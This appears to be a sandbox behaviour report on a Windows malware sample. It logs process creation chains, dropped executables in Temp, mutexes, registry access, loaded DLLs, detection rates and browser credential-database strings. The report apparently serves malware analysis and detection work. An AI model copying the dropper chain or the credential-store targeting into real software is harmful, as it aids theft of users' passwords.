Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415438738.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1415024626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415438738.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1415024626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415438738.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1415024626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415438738.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1415024626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415438738.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1415024626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415024626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415438738.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1415024626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1268962958.0000000022BD1000.00000004.00000020.00020000.00000000.sdmp, KKJKFBKKECFHJKEBKEHI.0.dr, DBKEGCAEGIIJKFIEHIJE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415024626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415024626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	Virustotal: Detection: 44%
Source: file.exe	ReversingLabs: Detection: 50%

Source: IIEBGIDAAF.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IJEGDBGDBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe "C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe "C:\Users\user~1\AppData\Local\Temp\1000006001\dca3d29d0f.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IJEGDBGDBF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe "C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe "C:\Users\user~1\AppData\Local\Temp\1000006001\dca3d29d0f.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
